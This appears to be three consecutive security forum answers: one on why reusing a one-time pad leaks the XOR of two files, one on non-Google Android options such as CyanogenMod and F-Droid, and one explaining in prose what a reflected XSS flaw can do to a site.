Furthermore, the one-time pad only has provable security when the pad is used exactly once.  The many-time pad is notoriously weak as c1 XOR c2 = m1 XOR m2.  E.g., assume Eve can't send requests for files to Bob, that there's some undisclosed authentication function that verifies Alice's identity to Bob before Bob will respond back with a file encrypted via a OTP).  If she observes Alice ask for file1, sending an encrypted 7 MB OTP (OTP1), she could then request file2 (only 6 MB) sending back the same first 6 MB of OTP1.  Bob then replies back with file2 XOR OTP1, leaking to Eve the XOR of file1 and file2.  So along with the OTP that is MAC'd, there must be a scheme with a random nonce (generated by the server) that must be included with the encrypted OTP, that is verified (to make sure the encrypted pad wasn't replaced with a previously used OTP).


Mobile Phone security - help finding security/privacy review/discussion

This may not survive as it's a bit off topic for the site, but yeah there's some non-Google Android based options.

The best known is likely Cyanogen Mod.  This can be retro-fitted to a wide variety of Android devices and removes a lot of the direct ties to Google.

Another option to look at is Sailfish OS which whilst it's not Android, has a focus on providing compatibility with Android apps.

On the app. store side there's F-Droid which provides a catalogue of Open Source Android applications.


Unclear security impact of a Reflected XSS vulnerability

... no user profiles on this page

XSS (including reflected XSS) can basically do everything inside the site what the user with a browser can do. If there are no user profiles it can at least not impersonate any users. Note though that if there are users on the same domain or subdomain, then XSS might use existing session cookies to impersonate the logged in user and do actions in the name of the user, no matter if these specific actions are actually included in the specific page vulnerable to reflected XSS.

... serves as an information board and a place to download project applications

XSS might also completely change the appearance of the site. And it can also change things which are not obvious, like changing the values in the shown financial information or make the download links point to malicious downloads instead. Note that these changes are only temporary in the rendered page, i.e. no server side changes are done. But if there is a way to edit such information it might be done using XSS too.